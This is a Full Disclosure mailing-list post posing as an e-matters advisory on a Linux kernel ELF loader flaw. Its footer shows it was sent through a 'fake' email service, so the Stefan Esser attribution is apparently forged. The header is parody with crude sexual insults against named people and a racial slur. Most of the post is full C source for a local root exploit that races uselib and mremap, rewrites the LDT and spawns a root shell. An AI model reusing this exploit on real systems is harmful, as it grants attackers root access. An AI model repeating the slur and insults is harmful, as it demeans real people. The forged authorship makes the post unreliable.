Full Disclosure mailing list archives
Advisory 1/2005 - Linux Kernel arbitrary code execution vulnerability.
From: "Stefan Esser" <s.esser () ematters de>
Date: 7 Jan 2005 04:55:39 -0000
/* A New Initiative for a New Year * * E-matters are pleased to announce their new Microsoft-approved * Responsible Disclosure initiative in which we will be working * very closely with eEye, iDefense and the vendersec mailing list: * "e-eyeDefenderSec - Because the 'e'-matters" * **** * * Advisory 1/2005 * Linux Kernel arbitrary code execution vulnerability. * * Release Date: 2005/01/06 * Author: Stefan Esser [s.esser () ematters de] * Application: Linux Kernel <= 2.4.28, <= 2.6.10 * Severity: A vulnerability exists in the ELF loader code * allowing for an attacker to execute code as root. * Risk: Critical * Reference: This advisory will soon be available on the e-matters * website. * Last Modified: 2005/01/06 * **** * * Preamble * Contributed by Marc 'The Narc' Maffrait / MCSE Hammer of eEye digital * security. * * damn isec fools falling for teh bait * dat ret for cliph's box hella accurate * * sniffing on your upstream scopin for gold * hittin pay dirt with this here kernel hole * * responsibly disclosing crap you didn't know before * e-eyeDefenderSec steppin' up the 2k5 score * * u done dropped that httpd, askin yourself 'wtf be wrong wiff me?' * your eyes are too full of dollar bills to see * * we're two steps ahead, and even some to the side * step the fuck back bitch..make, run..and hide. * **** * * Overview * * The Linux Kernel is the core of any Linux operating system. Security * issues within the Kernel allow for attackers to execute code within * the context of the kernel. This allows for attackers to gain root * access to a Linux system. * **** * * Details * * Due to a missing down() call for the semaphore 'current->mm->mmap_sem' * it is possible to create two over-lapping VMAs and exploit behaviour in * mremap that allows you to map kernel memory into userland address ranges. * This can be exploited by an attacker in many ways. * **** * * Proof of Concept * e-matters proof of concept code is attached. * **** * * Disclosure Timeline * * 15. Dec 2004 Issue discovered by Stefan Esser. * 16. Dec 2004 Issue discussed with Sebastian Kraemer of SuSe * 18. Dec 2004 Issue disclosed to the other contributors to e-eyeDefenderSec * 22. Dec 2004 Proof of concept code developed with e-eyeDefenderSec * 24. Dec 2004 Linux kernel team informed of security problem. * 2. Jan 2005 Linux kernel team reply that they fixed the problem. * 3. Jan 2005 divineint gives up on trying to make the PoC code work * and rates the exploit as 'fake - possible trojan'. * 4. Jan 2005 PoC code improved by Sebastian Kraemer and Stefan Esser * 6. Jan 2005 Public Disclosure * **** * * Recommendation * * We strongly recommend upgrading to the latest Linux kernel. * There is no known work-around for this issue. * **** * * GPG-Key * * pub 1024D/3004C4BC 2004-05-17 e-matters GmbH - Securityteam * Key fingerprint = 3FFB 7C86 7BE8 6981 D1DA A71A 6F7D 572D 3004 C4BC * * **** * * Closing Remarks * * "vendor-sec is a great mailing list, since it serves the security community * so well. Would it not be for vendor-sec, information would be given to the * general public faster, and patches deployed faster. Instead, the list puts * exploits and bug information directly in the hand of blackhats, and gives * them a reliable attack window to pick their targets before a patch is made * public." * - dick "up my ass" johnson, iDEFENSE Plagiarist and Anal Sex Expert, * Internet Pioneer, GOBBLES Founder, apache-scalp author, Intrepid * Vulnerability Discloser, bsdauth vulnerability discoverer, princessj * anal destroyer, Mark Dowd, The Fluffy Bunny, Defacer of security.is, * destroyer of divineint, scourge of scriptkids, the one the only, * inventer of the internet GOLDEN GOD. * * Special thanks to: Derek Calloway (aka jimjones / the_uT) of @stake. * Mayhem (thanks for the shellcode help you grumpy frog :)) * cliph (seriously bro, Firefox has updates for a reason) * * ... and that KF nigger. * **** * * Testbeds * * clarity.local - <thief> werd up * cvs.kernel.org - I bet you don't find the backdoor *this* time ;) * **** * * Copyright 2004, 2005 Stefan Esser and e-matters.de - All rights reserved. * */#define _GNU_SOURCE#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sched.h> #include <syscall.h> #include <limits.h>#include <sys/types.h> #include <sys/wait.h> #include <sys/time.h> #include <sys/mman.h> #include <sys/sysinfo.h>#include <linux/elf.h> #include <linux/linkage.h>#include <asm/page.h> #include <asm/ldt.h> #include <asm/segment.h>#define str(s) #s #define xstr(s) str(s)#define MREMAP_MAYMOVE 1 // temp lib location #define LIBNAME "/dev/shm/_elf_lib"// shell name #define SHELL "/bin/bash"// time delta to detect race #define RACEDELTA 5000// if you have more deadbebes in memory, change this #define MAGIC 0xdeadbabe // do not touch #define SLAB_THRSH 128 #define SLAB_PER_CHLD (INT_MAX - 1) #define LIB_SIZE ( PAGE_SIZE * 4 ) #define STACK_SIZE ( PAGE_SIZE * 4 )#define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )#define ENTRY_GATE ( LDT_ENTRIES-1 ) #define GATESEL ( (ENTRY_GATE<<3)|0x07 )#define kB * 1024 #define MB * 1024 kB #define GB * 1024 MB#define TMPLEN 256 #define PGD_SIZE ( PAGE_SIZE*1024 ) extern char **environ;static char cstack[STACK_SIZE]; static char name[TMPLEN]; static char line[TMPLEN]; static volatile int val = 0, go = 0, finish = 0, scnt = 0, old_esp = 0, delta = 0, map_flags = PROT_WRITE|PROT_READ; static int fstop=0, brute=0, ccnt=0, pidx, pnum=0, smp=4, cpid, uid, task_size, old_esp, lib_addr, map_count=0, map_base, map_addr, addr_min, addr_max, vma_start, vma_end, max_page; static struct timeval tm1, tm2;static char *myenv[] = {"TERM=vt100", "HISTFILE=/dev/null", NULL}; static char *pagemap;#define __NR_sys_gettimeofday __NR_gettimeofday #define __NR_sys_sched_yield __NR_sched_yield #define __NR_sys_madvise __NR_madvise #define __NR_sys_uselib __NR_uselib #define __NR_sys_mmap2 __NR_mmap2 #define __NR_sys_munmap __NR_munmap #define __NR_sys_mprotect __NR_mprotect #define __NR_sys_mremap __NR_mremapinline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);inline _syscall3(int, sys_madvise, void*, a, int, b, int, c); inline _syscall3(int, sys_mprotect, int, a, int, b, int, c); inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );inline _syscall2(int, sys_gettimeofday, void*, a, void*, b); inline _syscall2(int, sys_munmap, int, a, int, b);inline _syscall1(int, sys_uselib, char*, l);inline _syscall0(void, sys_sched_yield);inline int tmdiff(struct timeval *t1, struct timeval *t2) { int r; r=t2->tv_sec - t1->tv_sec; r*=1000000; r+=t2->tv_usec - t1->tv_usec; return r; } void fatal(const char *message, int critical) { int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL); if(!errno) { fprintf(stdout, "\n[-] FAILED: %s ", message); } else { fprintf(stdout, "\n[-] FAILED: %s (%s) ", message, (char*) (strerror(errno)) ); } if(critical) printf("\nCRITICAL, entering endless loop"); printf("\n"); fflush(stdout); unlink(LIBNAME); kill(cpid, SIGKILL); for(;;) kill(0, sig); } // try to race do_brk sleeping on kmalloc, may need modification for SMP static int raceme(void* v) { int r; printf("\n[+] exploit thread running pid=%d", getpid() ); fflush(stdout); finish=1; for(;;) { errno = 0;// check if raced: recheck: if(!go) sys_sched_yield(); sys_gettimeofday(&tm2, NULL); delta = tmdiff(&tm1, &tm2); if(delta < RACEDELTA) goto recheck;// check if lib VMAs exist as expected under race condition recheck2: r = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL); if(r) continue; errno = 0; r = sys_madvise((void*) (lib_addr+PAGE_SIZE), LIB_SIZE-PAGE_SIZE, MADV_NORMAL); if(!r || (r<0 && errno != ENOMEM) ) continue;// SMP? if(smp-->=0) goto recheck2;// recheck race if(!go) continue; finish++;// we need to free one vm_area_struct for mmap to work r = sys_mprotect(map_addr, PAGE_SIZE, map_flags); if(r) fatal("mprotect", 0); r = sys_mmap2(lib_addr + PAGE_SIZE*2, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(-1 == r) fatal("mmap2 race", 0); printf("\n[+] race delta=%d maps=%d", delta, map_count); fflush(stdout); _exit(0); }return 0; } // get uid=0 kernel code (stolen from cliph) asmlinkage void kernel_code(unsigned *task) { unsigned *addr = task;// find & reset uids while(addr[0] != uid || addr[1] != uid || addr[2] != uid || addr[3] != uid) addr++; addr[0] = /*addr[1] = */addr[2] = addr[3] = 0; addr[4] = addr[5] = addr[6] = addr[7] = 0;// find & correct VMA for(addr=(unsigned *)task_size; (unsigned)addr<addr_min; addr++) { if(addr[0] >= task_size && addr[1] == vma_start && addr[2] == vma_end && addr[3] >= task_size ) { addr[1] = task_size - PAGE_SIZE; addr[2] = task_size; break; } } } void kcode(void);void __kcode(void) { asm( "kcode: \n" " pusha \n" " pushl %es \n" " pushl %ds \n" " movl $("xstr(__KERNEL_DS)") ,%edx \n" " movl %edx,%es \n" " movl %edx,%ds \n" " movl $0xffffe000,%eax \n" " andl %esp,%eax \n" " pushl %eax \n" " call kernel_code \n" " addl $4, %esp \n" " popl %ds \n" " popl %es \n" " popa \n" " lret \n" ); } void static sigfailed(int v) { ccnt++; fatal("lcall", 1); } // modify LDT & exec void try_to_exploit(unsigned addr) { volatile int r, *v; printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout); r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC); if(r) fatal("mprotect 1", 1);// check if really LDT v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) ); signal(SIGSEGV, sigfailed); r = *v; if(r != MAGIC) { printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout); fatal("find LDT", 1); }// yeah! *v = ((unsigned)__KERNEL_CS << 16) | ((unsigned)kcode & 0xffffU); *(v+1) = ((unsigned)kcode & ~0xffffU) | 0xec00U; printf("\n[+] SUCCESS (LDT found v=0x%.8x)", *v); fflush(stdout);// reprotect to get one VMA r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_EXEC); if(r) fatal("mprotect 2", 1);// CPL0 transition asm("lcall $" xstr(GATESEL) ",$0x0"); if( getuid()==0 ) { printf("\n[+] exploited, uid=0\n" ); fflush(stdout); } else { printf("\n[-] uid change failed" ); fflush(stdout); sigfailed(0); } signal(SIGTERM, SIG_IGN); kill(0, SIGTERM); execl(SHELL, "sh", NULL); fatal("execl", 0); } void static scan_mm_finish(); void static scan_mm_start(); // kernel page table scan code void static scan_mm() { map_addr -= PAGE_SIZE; if(map_addr <= addr_min) scan_mm_start(); scnt=0; val = *(int*)map_addr; scan_mm_finish(); } void static scan_mm_finish() { retry: __asm__("movl %0, %%esp" : :"m"(old_esp) ); if(scnt) { pagemap[pidx] ^= 1; } else { sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED); } pidx--; scan_mm(); goto retry; } // make kernel page maps before and after allocating LDT void static scan_mm_start() { static int npg=0; static struct modify_ldt_ldt_s l; static struct sysinfo si; pnum++; if(pnum==1) { sysinfo(&si); addr_min = task_size + si.totalram; addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1); addr_max = addr_min + si.totalram; if(addr_max >= 0xffffe000 || addr_max < addr_min) addr_max = 0xffffd000; printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max); max_page = (addr_max - addr_min) / PAGE_SIZE; pagemap = malloc( max_page + 32 ); if(!pagemap) fatal("malloc pagemap", 1); memset(pagemap, 0, max_page + 32); pidx = max_page-1; } else if(pnum==2) { memset(&l, 0, sizeof(l)); l.entry_number = LDT_ENTRIES-1; l.seg_32bit = 1; l.base_addr = MAGIC >> 16; l.limit = MAGIC & 0xffff; l.limit_in_pages = 1; if( modify_ldt(1, &l, sizeof(l)) != 0 ) fatal("modify_ldt", 1); pidx = max_page-1; } else if(pnum==3) { npg=0; for(pidx=0; pidx<=max_page-1; pidx++) { if(pagemap[pidx]) { npg++; fflush(stdout); } else if(npg == LDT_PAGES) { npg=0; try_to_exploit(addr_min + (pidx-1)*PAGE_SIZE); } else { npg=0; } } fatal("find LDT", 1); }// save context & scan page table __asm__("movl %%esp, %0" : :"m"(old_esp) ); map_addr = addr_max; scan_mm(); } // return number of available SLAB objects in cache static int get_slab_objs(const char *sn) { static int c, d, u = 0, a = 0; FILE *fp=NULL; fp = fopen("/proc/slabinfo", "r"); if(!fp) fatal("get_slab_objs: fopen", 0); fgets(name, sizeof(name) - 1, fp); do { c = u = a = -1; if (!fgets(line, sizeof(line) - 1, fp)) break; c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d); } while (strcmp(name, sn)); close(fileno(fp)); fclose(fp); return c == 7 ? a - u : -1; } // leave one object in the SLAB inline void prepare_slab() { int *r; map_addr -= PAGE_SIZE; map_count++; map_flags ^= PROT_READ; r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 ); if(MAP_FAILED == r) { fatal("try again", 0); } *r = map_addr; } // sig handlers void static segvcnt(int v) { scnt++; scan_mm_finish(); } void static reaper(int v) { ccnt++; waitpid(0, &v, WNOHANG|WUNTRACED); } // use elf library and try to sleep on kmalloc void exploitme() { int r, sz; printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout); signal(SIGCHLD, reaper); signal(SIGSEGV, segvcnt); signal(SIGBUS, segvcnt);// helper clone finish=0; ccnt=0; sz = sizeof(cstack) / sizeof(cstack[0]); cpid = clone(&raceme, (void*) &cstack[sz-16], CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL ); if(-1==cpid) fatal("clone", 0);// synchronize threads while(!finish) sys_sched_yield(); finish=0;// try to hit the kmalloc race for(;;) { r = get_slab_objs("vm_area_struct"); while(r != 1) { prepare_slab(); r--; } sys_gettimeofday(&tm1, NULL); go = 1; r=sys_uselib(LIBNAME); go = 0; if(r) fatal("uselib", 0); if(finish) break;// wipe lib VMAs and try again r = sys_munmap(lib_addr, LIB_SIZE); if(-1==r || ccnt) goto failed; }// seems we raced r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE); if(r) fatal("munmap 1", 0); r = sys_munmap(lib_addr, PAGE_SIZE); if(r) fatal("munmap 2", 0);// write protect brk VMA to fool vm_enough_memory() r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, PROT_READ|PROT_EXEC); if(-1==r) fatal("mprotect brk", 0);// this will finally make the big VMA... sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE; expand: r = sys_madvise((void*)(lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, MADV_NORMAL); if(r) fatal("madvise", 0); r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE, PAGE_SIZE, sz, MREMAP_MAYMOVE, 0); if(-1==r) { if(0==sz) fatal("mremap: expand VMA", 0); else { sz -= PAGE_SIZE; goto expand; } } vma_start = lib_addr + PAGE_SIZE; vma_end = vma_start + sz + 2*PAGE_SIZE;// try to figure kernel layout printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end); fflush(stdout); scan_mm_start();failed: fatal("try again", 0);} // make fake ELF library static void make_lib() { struct elfhdr eh; struct elf_phdr eph; static char tmpbuf[PAGE_SIZE]; int fd;// make our elf library umask(022); unlink(LIBNAME); fd=open(LIBNAME, O_RDWR|O_CREAT|O_TRUNC, 0755); if(fd<0) fatal("open lib", 0); memset(&eh, 0, sizeof(eh) );// elf exec header memcpy(eh.e_ident, ELFMAG, SELFMAG); eh.e_type = ET_EXEC; eh.e_machine = EM_386; eh.e_phentsize = sizeof(struct elf_phdr); eh.e_phnum = 1; eh.e_phoff = sizeof(eh); write(fd, &eh, sizeof(eh) );// section header: memset(&eph, 0, sizeof(eph) ); eph.p_type = PT_LOAD; eph.p_offset = 4096; eph.p_filesz = 4096; eph.p_vaddr = lib_addr; eph.p_memsz = LIB_SIZE; eph.p_flags = PF_W|PF_R|PF_X; write(fd, &eph, sizeof(eph) );// execable code lseek(fd, 4096, SEEK_SET); memset(tmpbuf, 0x90, sizeof(tmpbuf) ); write(fd, &tmpbuf, sizeof(tmpbuf) ); close(fd); } // move stack down #2 void prepare_finish() { int r; old_esp &= ~(PAGE_SIZE-1); old_esp -= PAGE_SIZE; task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB; r = sys_munmap(old_esp, task_size-old_esp); if(r) fatal("unmap stack", 0);// setup rt env uid = getuid(); lib_addr = task_size - LIB_SIZE - PAGE_SIZE; map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1); printf("\n[+] moved stack %x, task_size=%x, map_base=%x", old_esp, task_size, map_base); fflush(stdout); make_lib(); exploitme(); } // move stack down #1 void prepare() { unsigned p=0; environ = myenv; p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 ); if(-1==p) fatal("mmap2 stack", 0); p += STACK_SIZE - 64; __asm__("movl %%esp, %0 \n" "movl %1, %%esp \n" : : "m"(old_esp), "m"(p) ); prepare_finish(); } void static chldcnt(int v) { ccnt++; } // alloc slab objects... inline void do_wipe() { int *r, c=0, left=0; __asm__("movl %%esp, %0" : : "m"(old_esp) ); old_esp = (old_esp - PGD_SIZE) & ~(PGD_SIZE-1); for(;;) { if(left<=0) left = get_slab_objs("vm_area_struct"); if(left <= SLAB_THRSH) break; left--; map_flags ^= PROT_READ; old_esp -= PAGE_SIZE; r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 ); if(MAP_FAILED == r) break; c++; if(c>SLAB_PER_CHLD) break; if( (c%1024)==0 ) { printf("\rchild %d %d", val, c); fflush(stdout); } } kill(getppid(), SIGUSR1); for(;;) pause(); } void wipe_slab() { signal(SIGUSR1, chldcnt); for(;;) { ccnt=0; val++; cpid = fork(); if(!cpid) { printf("\n"); do_wipe(); } pause(); if( get_slab_objs("vm_area_struct") <= SLAB_THRSH ) break; sys_sched_yield(); } printf("\n"); signal(SIGUSR1, SIG_DFL); } void usage(char *n) { printf("\nUsage: %s\t-s forced stop\n", n); printf("\t\t-n SMP iterations\n"); printf("\t\t-b empty SLAB mode\n"); printf("\n"); _exit(1); } // give -s for forced stop, -b to clean SLAB int main(int ac, char **av) { int r; while(ac) { r = getopt(ac, av, "bsn:"); if(r<0) break; switch(r) { case 's' : fstop = 1; break; case 'n' : smp = atoi(optarg); if(smp<0) fatal("bad value", 0); break; case 'b' : brute = 1; break; default: usage(av[0]); break; } } uid = getuid(); setpgrp(); if(brute) wipe_slab(); prepare();return 0; } http://www.sharpmail.co.uk - "Live in your world, email in ours" Send 'fake' email for free! Remove this footer by upgrading.
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Advisory 1/2005 - Linux Kernel arbitrary code execution vulnerability. Stefan Esser (Jan 07)